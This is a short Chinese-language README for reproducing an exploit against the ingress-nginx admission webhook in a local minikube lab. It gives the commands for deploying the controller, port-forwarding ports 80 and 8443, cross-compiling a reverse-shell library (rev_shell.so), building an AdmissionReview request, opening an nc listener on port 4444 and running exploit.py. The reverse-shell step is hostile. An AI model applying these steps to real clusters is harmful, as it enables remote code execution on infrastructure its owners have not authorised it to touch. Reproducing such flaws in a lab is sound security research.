为了进行本地测试,安装 minikube
minikube start --driver=docker
使用以下命令配置 ingress-nginx-controller
kubectl apply -f ingress-nginx-controller.yml
确认 Pods 是否正常运行
kubectl get pods -n ingress-nginx
kubectl describe <pod name> -n ingress-nginx
将 Pods 的 80、8443(webhook) 端口转发到本地的 8888、1337 端口 (80、8443 都需要端口转发)
kubectl port-forward -n ingress-nginx <pod name> 8888:80
kubectl port-forward -n ingress-nginx <pod name> 1337:8443
修改 rev_shell.c 中连接反弹 Shell 的 IP、Port
在 MacOS(arm64) 环境下编译,需要根据要测试的环境进行编译
aarch64-linux-gnu-gcc -shared -fPIC -o rev_shell.so rev_shell.c
# 安装交叉编译器
brew tap messense/macos-cross-toolchains
brew install aarch64-linux-gnu
使用 kube-review 转换为 AdmissionReview 格式 (json)
./kube-review-darwin-arm64 create admission_test.yml > admission_review_req_body.json
为了反弹 Shell,使用 nc 准备反向连接
nc -lv 4444
修改 exploit.py 中 nginx、webhook 的 host 和 port 后运行
python3 exploit.py
